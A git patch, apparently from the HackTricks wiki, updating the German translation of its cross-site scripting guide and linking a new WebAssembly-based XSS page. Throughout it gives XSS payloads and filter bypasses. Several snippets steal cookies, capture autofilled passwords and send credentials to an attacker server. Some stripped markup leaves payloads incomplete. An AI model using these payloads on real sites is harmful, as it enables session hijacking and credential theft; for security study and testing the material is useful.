From bbaa4debf4c78917967fd5a14ef7d3aab6b73b0f Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 15:01:11 +0000 Subject: [PATCH] Translated ['src/pentesting-web/xss-cross-site-scripting/README.md', 'sr --- src/SUMMARY.md | 1 + .../xss-cross-site-scripting/README.md | 418 +++++++++--------- ...sm-linear-memory-template-overwrite-xss.md | 133 ++++++ 3 files changed, 350 insertions(+), 202 deletions(-) create mode 100644 src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index be4d4275a..4c7d77d24 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -725,6 +725,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 4c1ab5637..03479a5d2 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -2,82 +2,82 @@ {{#include ../../banners/hacktricks-training.md}} -## Methodik +## Methodology -1. Prüfe, ob **ein von dir kontrollierter Wert** (_parameters_, _path_, _headers_?, _cookies_?) im HTML **reflektiert** wird oder vom **JS**-Code **verwendet** wird. -2. Finde den **Kontext**, in dem es reflektiert/verwendet wird. -3. Wenn **reflektiert** -1. Prüfe **welche Zeichen du verwenden kannst** und bereite abhängig davon das Payload vor: +1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code. +2. **Find the context** where it's reflected/used. +3. If **reflected** +1. Check **which symbols can you use** and depending on that, prepare the payload: 1. In **raw HTML**: -1. Kannst du neue HTML-Tags erstellen? -2. Kannst du Events oder Attribute verwenden, die das `javascript:`-Protokoll unterstützen? -3. Kannst du Schutzmaßnahmen umgehen? -4. Wird der HTML-Inhalt von einer clientseitigen JS-Engine (_AngularJS_, _VueJS_, _Mavo_...) interpretiert? Dann könntest du eine [**Client Side Template Injection**](../client-side-template-injection-csti.md) ausnutzen. -5. Wenn du keine HTML-Tags erstellen kannst, die JS ausführen, könntest du eine [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) ausnutzen? -2. Innerhalb eines **HTML-Tags**: -1. Kannst du in den raw HTML-Kontext wechseln? -2. Kannst du neue Events/Attribute erstellen, um JS-Code auszuführen? -3. Unterstützt das Attribut, in dem dein Input steckt, die Ausführung von JS? -4. Kannst du Schutzmaßnahmen umgehen? -3. Innerhalb von **JavaScript-Code**: -1. Kannst du aus dem ``** Tags einer HTML-Seite, in einer `.js`-Datei oder in einem Attribut mit dem **`javascript:`**-Protokoll reflektiert: +In diesem Fall wird Ihre Eingabe zwischen **``** Tags einer HTML-Seite, innerhalb einer `.js` Datei oder innerhalb eines Attributs, das das **`javascript:`**-Protokoll verwendet, reflektiert: -- Wenn die Reflektion zwischen **``** Tags erfolgt, selbst wenn deine Eingabe in irgendeiner Art von Quotes steht, kannst du versuchen `` zu injizieren und aus diesem Kontext zu entkommen. Das funktioniert, weil der **Browser zuerst die HTML-Tags parst** und dann den Inhalt; deshalb wird er nicht bemerken, dass dein injiziertes `` Tag Teil des HTML-Codes ist. -- Wenn die Reflektion **inside a JS string** erfolgt und der letzte Trick nicht funktioniert, musst du den String **exit**en, deinen Code **execute**n und den JS-Code **reconstruct**en (wenn ein Fehler auftritt, wird er nicht ausgeführt): +- Wenn die Eingabe zwischen **``** Tags reflektiert wird, selbst wenn Ihre Eingabe innerhalb irgendeiner Art von Anführungszeichen steht, können Sie versuchen `` zu injizieren und aus diesem Kontext zu entkommen. Das funktioniert, weil der **Browser zuerst die HTML-Tags parst** und dann den Inhalt; daher wird er nicht bemerken, dass Ihr injiziertes `` Tag innerhalb des HTML code ist. +- Wenn es innerhalb eines JS-Strings reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Wenn die Reflektion in template literals erfolgt, kannst du **embed JS expressions** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` `` +- Wenn es innerhalb von template literals reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` `` - **Unicode encode** funktioniert, um **valid javascript code** zu schreiben: ```javascript alert(1) @@ -86,8 +86,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting bezieht sich auf die Möglichkeit, **Funktionen, Variablen oder Klassen nach ihrer Verwendung zu deklarieren**, sodass man Szenarien ausnutzen kann, in denen ein XSS nicht deklarierte Variablen oder Funktionen verwendet.\ -**Weitere Infos auf folgender Seite:** +Javascript Hoisting references the opportunity to **Funktionen, Variablen oder Klassen nach ihrer Verwendung zu deklarieren, sodass du Szenarien ausnutzen kannst, in denen ein XSS undeclared variables or functions verwendet.**\ +**Weitere Informationen auf der folgenden Seite:** {{#ref}} @@ -96,15 +96,15 @@ js-hoisting.md ### Javascript Function -Viele Webseiten haben Endpoints, die **als Parameter den Namen der auszuführenden Funktion akzeptieren**. Ein häufiges Beispiel in freier Wildbahn ist so etwas wie: `?callback=callbackFunc`. +Mehrere Webseiten haben Endpunkte, die **als Parameter den Namen der auszuführenden Funktion akzeptieren**. Ein häufiges Beispiel in der Praxis ist etwas wie: `?callback=callbackFunc`. -Eine gute Methode herauszufinden, ob etwas, das direkt vom Benutzer kommt, ausgeführt werden soll, ist **den Parameterwert zu ändern** (zum Beispiel in 'Vulnerable') und in der Konsole nach Fehlern wie folgt zu suchen: +Eine gute Methode, um herauszufinden, ob etwas, das direkt vom Nutzer kommt, versucht ausgeführt zu werden, ist **den Parameterwert zu ändern** (zum Beispiel zu 'Vulnerable') und in der Konsole nach Fehlern wie: ![](<../../images/image (711).png>) -Falls es verwundbar ist, könntest du in der Lage sein, einfach durch Senden des Wertes ein **alert** auszulösen: **`?callback=alert(1)`**. Allerdings ist es sehr üblich, dass diese Endpoints den Inhalt **validieren**, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen (**`[\w\._]`**). +Falls es verwundbar ist, könntest du in der Lage sein, **ein alert auszulösen**, indem du einfach den Wert sendest: **`?callback=alert(1)`**. Allerdings ist es sehr üblich, dass diese Endpunkte den Inhalt **validieren**, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen (**`[\w\._]`**). -Selbst mit dieser Einschränkung ist es jedoch weiterhin möglich, einige Aktionen durchzuführen. Das liegt daran, dass du diese erlaubten Zeichen verwenden kannst, um auf **beliebige Elemente im DOM zuzugreifen**: +Selbst mit dieser Einschränkung ist es jedoch weiterhin möglich, einige Aktionen durchzuführen. Das liegt daran, dass du mit diesen zulässigen Zeichen auf beliebige Elemente im DOM zugreifen kannst: ![](<../../images/image (747).png>) @@ -118,9 +118,9 @@ parentElement ``` Sie können auch versuchen, **Javascript-Funktionen direkt auszulösen**: `obj.sales.delOrders`. -Allerdings sind die Endpoints, die die angegebene Funktion ausführen, meist Endpoints ohne besonders interessanten DOM; **andere Seiten in derselben Origin** werden einen **interessanteren DOM** haben, um mehr Aktionen durchzuführen. +Allerdings sind die Endpoints, die die angegebene Funktion ausführen, normalerweise Endpoints ohne viel interessantes DOM; **andere Seiten in derselben Origin** haben oft ein **interessanteres DOM**, um mehr Aktionen durchzuführen. -Daher wurde, um diese Verwundbarkeit in einem anderen DOM zu **missbrauchen**, die **Same Origin Method Execution (SOME)** Exploitation entwickelt: +Daher wurde, um **diese Schwachstelle in einem anderen DOM auszunutzen**, die **Same Origin Method Execution (SOME)**-Exploitation entwickelt: {{#ref}} @@ -129,7 +129,7 @@ some-same-origin-method-execution.md ### DOM -Es gibt **JS code**, der **unsicher** einige vom Angreifer kontrollierte Daten wie `location.href` verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen. +Es gibt **JS code**, das **unsicher** einige **vom Angreifer kontrollierte Daten** wie `location.href` verwendet. Ein Angreifer könnte dies missbrauchen, um beliebigen JS-Code auszuführen. {{#ref}} @@ -138,7 +138,7 @@ dom-xss.md ### **Universal XSS** -Diese Art von XSS kann **überall** gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art der **beliebigen JavaScript-Ausführung** kann sogar missbraucht werden, um **RCE** zu erlangen, **beliebige** **Dateien** in Clients und Servern zu **lesen**, und mehr.\ +Diese Art von XSS kann **überall** gefunden werden. Sie hängen nicht nur von der Client-Exploitation einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art von **arbitrary JavaScript execution** kann sogar missbraucht werden, um **RCE** zu erlangen, **beliebige Dateien** auf Clients und Servern zu lesen und mehr. Einige **Beispiele**: @@ -151,17 +151,17 @@ server-side-xss-dynamic-pdf.md ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## WAF-Bypass: encodiertes Bild +## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Injektion in rohes HTML +## Injecting inside raw HTML -Wenn deine Eingabe **innerhalb der HTML-Seite** reflektiert wird oder du in diesem Kontext HTML-Code escapen und injizieren kannst, ist das **erste**, was du tun musst, zu prüfen, ob du `<` zum Erstellen neuer Tags missbrauchen kannst: Versuche einfach, dieses **Zeichen** zu **reflektieren** und überprüfe, ob es **HTML encoded** oder **gelöscht** wird, oder ob es **ohne Änderungen reflektiert** wird. **Nur im letzten Fall wirst du diese Schwachstelle ausnutzen können**.\ -Für diese Fälle **beachte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Hinweis: Ein HTML-Kommentar kann geschlossen werden mit\*\***\***\*`-->`\*\***\***\* oder \*\***`--!>`\*\*_ +Wenn deine Eingabe **innerhalb der HTML-Seite** reflektiert wird oder du in diesem Kontext HTML-Code escapen und injizieren kannst, ist das **erste**, was du tun musst, zu prüfen, ob du `<` zum Erstellen neuer Tags missbrauchen kannst: Versuche einfach, dieses **Zeichen** zu **reflektieren** und prüfe, ob es **HTML-encodiert** wird, **gelöscht** wird oder **unverändert reflektiert** wird. **Nur im letzten Fall kannst du dies ausnutzen.** +Für diese Fälle beachte auch [**Client Side Template Injection**](../client-side-template-injection-csti.md). +_**Hinweis: Ein HTML-Kommentar kann mit `-->` oder `--!>` geschlossen werden**_ -In diesem Fall und wenn kein Black-/Whitelisting verwendet wird, kannst du Payloads wie die folgenden verwenden: +In diesem Fall und wenn keine Black-/Whitelist verwendet wird, kannst du Payloads wie: ```html `-Tags oder zwischen HTML-Events, die JS ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**. +In diesem Fall wird dein **input** innerhalb des JS-Codes eines `.js` file oder zwischen `` tags oder zwischen HTML events, die JS code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, reflektiert. ### Escaping \` eingefügt wird, kannst du leicht das **Schließen des `` you could easily **escape closing the ` ``` -Beachte, dass wir in diesem Beispiel **haven't even closed the single quote**. Das liegt daran, dass **HTML parsing is performed first by the browser**, wobei Seiten-Elemente identifiziert werden, einschließlich Script-Blöcken. Die Analyse von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach. +Beachte, dass in diesem Beispiel wir **das einfache Anführungszeichen nicht einmal geschlossen haben**. Das liegt daran, dass **HTML parsing zuerst vom browser durchgeführt wird**, was das Identifizieren von Seitenelementen einschließt, einschließlich script-Blöcken. Das Parsen von JavaScript, um die eingebetteten scripts zu verstehen und auszuführen, erfolgt erst danach. -### Innerhalb von JS-Code +### Innerhalb von JS Code -Wenn `<>` sanitised werden, kannst du trotzdem **escape the string** an der Stelle, wo deine Eingabe **located** ist, und **execute arbitrary JS**. Es ist wichtig, die **fix JS syntax**, denn wenn es Fehler gibt, wird der JS-Code nicht ausgeführt: +Wenn `<>` bereinigt werden, kannst du dennoch an der Stelle, an der deine Eingabe **located** ist, die **escape the string** durchführen und beliebiges **execute arbitrary JS** ausführen. Es ist wichtig, die **fix JS syntax** durchzuführen, denn wenn Fehler vorhanden sind, wird der JS code nicht ausgeführt: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -496,7 +496,7 @@ Wenn `<>` sanitised werden, kannst du trotzdem **escape the string** an der Stel ``` #### JS-in-JS string break → inject → repair pattern -Wenn Benutzereingaben in einen in Anführungszeichen stehenden JavaScript-String gelangen (z. B. server-side echo in ein inline script), kannst du den String terminieren, Code injecten und die Syntax reparieren, damit das Parsing gültig bleibt. Generisches Gerüst: +Wenn user input innerhalb eines quoted JavaScript string landet (z. B. server-side echo in einem inline script), kannst du die Zeichenkette beenden, code injecten und die syntax reparieren, damit das Parsing weiterhin gültig ist. Generisches Gerüst: ``` " // end original string ; // safely terminate the statement @@ -507,14 +507,14 @@ Beispiel-URL-Muster, wenn der verwundbare Parameter in einen JS-String reflektie ``` ?param=test";;a=" ``` -Dies führt attacker JS aus, ohne den HTML-Kontext zu berühren (reines JS-in-JS). Kombiniere es mit den untenstehenden blacklist bypasses, wenn Filter keywords blockieren. +Dies führt angreiferseitigen JS-Code aus, ohne den HTML-Kontext anfassen zu müssen (pure JS-in-JS). Kombiniere es mit den unten stehenden blacklist bypasses, wenn Filter Keywords blockieren. ### Template literals `` -Um **strings** zu konstruieren akzeptiert JS neben einfachen und doppelten Anführungszeichen auch **backticks** **` `` `**. Das ist als template literals bekannt, da sie die Einbettung von **JS expressions** mithilfe der `${ ... }`-Syntax erlauben.\ -Wenn du feststellst, dass deine Eingabe innerhalb eines JS-Strings, der backticks verwendet, **reflektiert** wird, kannst du die Syntax `${ ... }` missbrauchen, um **arbitrary JS code** auszuführen: +Um **strings** zu konstruieren akzeptiert JS neben einfachen und doppelten Anführungszeichen auch **backticks** **` `` `**. Das wird als template literals bezeichnet, da sie die Verwendung von **embedded JS expressions** mit der `${ ... }`-Syntax erlauben.\ +Wenn deine Eingabe also in einer JS string, die backticks verwendet, **reflected** wird, kannst du die `${ ... }`-Syntax ausnutzen, um **arbitrary JS code** auszuführen: -Dies kann **missbraucht** werden mit: +Das kann **ausgenutzt** werden mit: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -526,27 +526,27 @@ return loop } loop`` ``` -### Kodierte Codeausführung +### Kodierte code execution ```html

%.*s

" to "" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render. + +Siehe die dedizierte Seite mit Exploitation-Workflow, DevTools memory helpers und Gegenmaßnahmen: + +{{#ref}} +wasm-linear-memory-template-overwrite-xss.md +{{#endref}} + + +### Normalised Unicode + +Du könntest prüfen, ob die **reflected values** auf dem Server (oder clientseitig) **unicode normalized** werden und diese Funktionalität ausnutzen, um Schutzmechanismen zu umgehen. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript @@ -823,12 +834,12 @@ Du könntest prüfen, ob die **reflektierten Werte** auf dem Server (oder client ``` ### Ruby-On-Rails bypass -Aufgrund von **RoR mass assignment** werden Anführungszeichen in das HTML eingefügt, wodurch die Einschränkung durch Anführungszeichen umgangen wird und zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\ -Formularbeispiel ([from this report](https://hackerone.com/reports/709336)), wenn du das payload sendest: +Aufgrund von **RoR mass assignment** werden Anführungszeichen in das HTML eingefügt, wodurch die Beschränkung durch Anführungszeichen umgangen wird und zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\ +Formularbeispiel ([from this report](https://hackerone.com/reports/709336)), wenn du die Payload sendest: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -Das Paar "Key","Value" wird wie folgt zurückgegeben: +Das Paar "Key","Value" wird so zurückgegeben: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` @@ -864,24 +875,24 @@ Dann wird das onfocus-Attribut eingefügt und XSS tritt auf. window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS mit Header-Injektion in einer 302-Antwort +### XSS mit Header-Injection in einer 302 Redirect-Antwort -Wenn du feststellst, dass du **Header in eine 302 Redirect-Antwort injizieren** kannst, könntest du versuchen, den Browser dazu zu bringen, beliebiges JavaScript **auszuführen**. Das ist **nicht trivial**, da moderne Browser den HTTP-Antwort-Body nicht interpretieren, wenn der HTTP-Statuscode 302 ist, daher ist ein einfaches cross-site scripting-Payload nutzlos. +Wenn du feststellst, dass du **Header in einer 302 Redirect-Antwort injizieren kannst**, könntest du versuchen, **den Browser dazu zu bringen, beliebiges JavaScript auszuführen**. Das ist **nicht trivial**, da moderne Browser den HTTP-Response-Body bei einem HTTP-Statuscode 302 nicht interpretieren — daher ist ein einfaches cross-site scripting payload nutzlos. -In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kannst du nachlesen, wie du mehrere Protokolle im Location-Header testen kannst und prüfen kannst, ob eines davon dem Browser erlaubt, das XSS-Payload im Body zu inspizieren und auszuführen. -Früher bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. +In [**this report**](https://www.gremwell.com/firefox-xss-302) und [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kannst du nachlesen, wie du mehrere Protokolle im Location-Header testen kannst und prüfen kannst, ob eines davon dem Browser erlaubt, das XSS-Payload im Body zu untersuchen und auszuführen.\ +Bisher bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. ### Nur Buchstaben, Zahlen und Punkte -Wenn du den **callback** angeben kannst, den JavaScript ausführen wird, und dieser auf diese Zeichen beschränkt ist. [**Read this section of this post**](#javascript-function) um zu erfahren, wie man dieses Verhalten ausnutzt. +Wenn du den **callback** angeben kannst, den JavaScript ausführen wird, und dieser auf diese Zeichen (Buchstaben, Zahlen und Punkte) beschränkt ist. [**Lies diesen Abschnitt dieses Beitrags**](#javascript-function), um zu erfahren, wie man dieses Verhalten ausnutzt. ### Valid ` ``` +Die Antwort lautet: + - **module** (Standard, nichts zu erklären) -- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der du eine Menge Daten (HTML, CSS, JS…) zusammen in eine **`.wbn`**-Datei packen kannst. +- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der man eine Menge Daten (HTML, CSS, JS…) zusammen in eine **`.wbn`**-Datei packen kann. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` -- [**importmap**](https://github.com/WICG/import-maps)**:** Ermöglicht die Verbesserung der import-Syntax +- [**importmap**](https://github.com/WICG/import-maps)**:** Ermöglicht die Verbesserung der Import-Syntax ```html ``` -Dieses Verhalten wurde in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) verwendet, um eine Bibliothek auf eval umzuleiten, deren Missbrauch XSS auslösen kann. +Dieses Verhalten wurde in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) verwendet, um eine Bibliothek auf eval umzuleiten — durch Ausnutzung kann dadurch XSS ausgelöst werden. -- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Diese Funktion dient hauptsächlich dazu, einige durch pre-rendering verursachte Probleme zu lösen. Sie funktioniert folgendermaßen: +- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Diese Funktion dient hauptsächlich dazu, einige Probleme zu lösen, die durch Pre-Rendering verursacht werden. Sie funktioniert so: ```html ``` -### Web Content-Types für XSS +### Web Content-Types to XSS -(Quelle: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die folgenden Content-Types können in allen Browsern XSS ausführen: +(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die folgenden Content-Types können in allen Browsern XSS ausführen: - text/html - application/xhtml+xml @@ -968,11 +981,11 @@ Dieses Verhalten wurde in [**this writeup**](https://github.com/zwade/yaca/tree/ - application/rss+xml (off) - application/atom+xml (off) -In anderen Browsern können andere **`Content-Types`** verwendet werden, um beliebiges JS auszuführen. Siehe: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) +In anderen Browsern können andere **`Content-Types`** verwendet werden, um beliebiges JS auszuführen, siehe: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Content Type -Wenn die Seite einen text/xml Content-Type zurückgibt, ist es möglich, einen Namespace anzugeben und beliebiges JS auszuführen: +Wenn die Seite einen text/xml content-type zurückgibt, ist es möglich, einen Namespace anzugeben und beliebiges JS auszuführen: ```xml hello @@ -982,9 +995,9 @@ Wenn die Seite einen text/xml Content-Type zurückgibt, ist es möglich, einen N ``` ### Spezielle Ersetzungsmuster -Wenn etwas wie **`"some {{template}} data".replace("{{template}}", )`** verwendet wird. Der Angreifer könnte [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) benutzen, um einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Wenn etwas wie **`"some {{template}} data".replace("{{template}}", )`** verwendet wird, könnte ein Angreifer [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) nutzen, um einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Zum Beispiel wurde dies in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) verwendet, um einen JSON-String innerhalb eines Skripts zu escapen und beliebigen Code auszuführen. +Zum Beispiel wurde in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) dies verwendet, um **einen JSON-String zu escapen** innerhalb eines Scripts und beliebigen Code auszuführen. ### Chrome Cache to XSS @@ -1026,22 +1039,22 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Wenn vor der Ausführung von untrusted code **everything is undefined** (wie in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu erzeugen, um die Ausführung von arbitrary untrusted code zu missbrauchen: +Wenn vor der Ausführung von nicht vertrauenswürdigem Code **alles undefined** ist (wie in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte „aus dem Nichts“ zu erzeugen, um die Ausführung beliebigen nicht vertrauenswürdigen Codes zu missbrauchen: - Verwendung von import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` -- Accessing `require` indirectly +- Indirekter Zugriff auf `require` -[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js innerhalb einer Funktion eingeschlossen, wie folgt: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js in eine Funktion eingebettet, wie folgt: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -Daher, wenn wir von diesem Modul aus **eine andere Funktion aufrufen** können, ist es möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen: +Daher, wenn wir aus diesem Modul eine **andere Funktion aufrufen** können, ist es möglich, `arguments.callee.caller.arguments[1]` in dieser Funktion zu verwenden, um auf **`require`** zuzugreifen: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1050,7 +1063,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, **Error-Handler** zu verwenden, um auf den **Wrapper** des Moduls zuzugreifen und die **`require`**-Funktion zu erhalten: +In ähnlicher Weise wie im vorherigen Beispiel ist es möglich, **error handlers zu verwenden**, um auf den **wrapper** des Moduls zuzugreifen und die **`require`**-Funktion zu erhalten: ```javascript try { null.f() @@ -1095,7 +1108,7 @@ trigger() - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) -- Mehr ausgefeilte JSFuck-Methoden: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) +- Weitergehende JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) @@ -1269,7 +1282,7 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## Häufige XSS payloads +## XSS häufige payloads ### Mehrere payloads in 1 @@ -1278,16 +1291,16 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o] steal-info-js.md {{#endref}} -### Iframe Trap +### Iframe-Falle -Lässt den Benutzer auf der Seite navigieren, ohne das iframe zu verlassen, und stiehlt seine Aktionen (einschließlich in Formularen gesendeter Informationen): +Bringt den Benutzer dazu, auf der Seite zu navigieren, ohne das iframe zu verlassen, und stiehlt seine Aktionen (einschließlich in Formularen gesendeter Informationen): {{#ref}} ../iframe-traps.md {{#endref}} -### Cookies abrufen +### Cookies auslesen ```javascript /?c="+document.cookie> @@ -1310,7 +1323,7 @@ Lässt den Benutzer auf der Seite navigieren, ohne das iframe zu verlassen, und ``` > [!TIP] -> Du **wirst nicht in der Lage sein, auf die cookies aus JavaScript zuzugreifen**, wenn das HTTPOnly flag im cookie gesetzt ist. Aber hier findest du [einige Wege, diesen Schutz zu umgehen](../hacking-with-cookies/index.html#httponly), wenn du genug Glück hast. +> Du **kannst von JavaScript aus nicht auf die cookies zugreifen**, wenn das HTTPOnly flag im cookie gesetzt ist. Aber hier hast du [einige Möglichkeiten, diesen Schutz zu umgehen](../hacking-with-cookies/index.html#httponly), wenn du Glück hast. ### Seiteninhalt stehlen ```javascript @@ -1401,15 +1414,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms") }; } ``` -_Kurze Zeiten deuten auf einen antwortenden Port hin_ _Längere Zeiten deuten auf keine Antwort hin._ +_Kurze Zeiten zeigen einen antwortenden port an_ _Längere Zeiten zeigen keine Antwort an._ -Überprüfe die Liste der in Chrome gesperrten Ports [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) und in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist). +Überprüfe die Liste der in Chrome gesperrten ports [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist). -### Box zum Anfordern von Zugangsdaten +### Box zum Abfragen von credentials ```html ``` -### Auto-fill-Passwörter erfassen +### Auto-fill passwords abfangen ```javascript Username:
@@ -1420,11 +1433,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Wenn beliebige Daten in das Passwortfeld eingegeben werden, werden Benutzername und Passwort an den Server des Angreifers gesendet; selbst wenn der Client ein gespeichertes Passwort auswählt und nichts eintippt, werden die credentials ex-filtrated. +Wenn Daten in das password-Feld eingegeben werden, werden username und password an den attackers server gesendet; selbst wenn der client ein saved password auswählt und nichts eingibt, werden die credentials ex-filtrated. ### Hijack form handlers to exfiltrate credentials (const shadowing) -Wenn ein kritischer Handler (z. B. `function DoLogin(){...}`) später auf der Seite deklariert wird und dein payload früher ausgeführt wird (z. B. via an inline JS-in-JS sink), definiere zuerst ein `const` mit demselben Namen, um den Handler vorwegzunehmen und zu sperren. Spätere Funktionsdeklarationen können einen `const`-Namen nicht neu binden, wodurch dein Hook die Kontrolle behält: +Wenn ein kritischer handler (z. B. `function DoLogin(){...}`) später auf der Seite deklariert wird und dein payload früher ausgeführt wird (z. B. 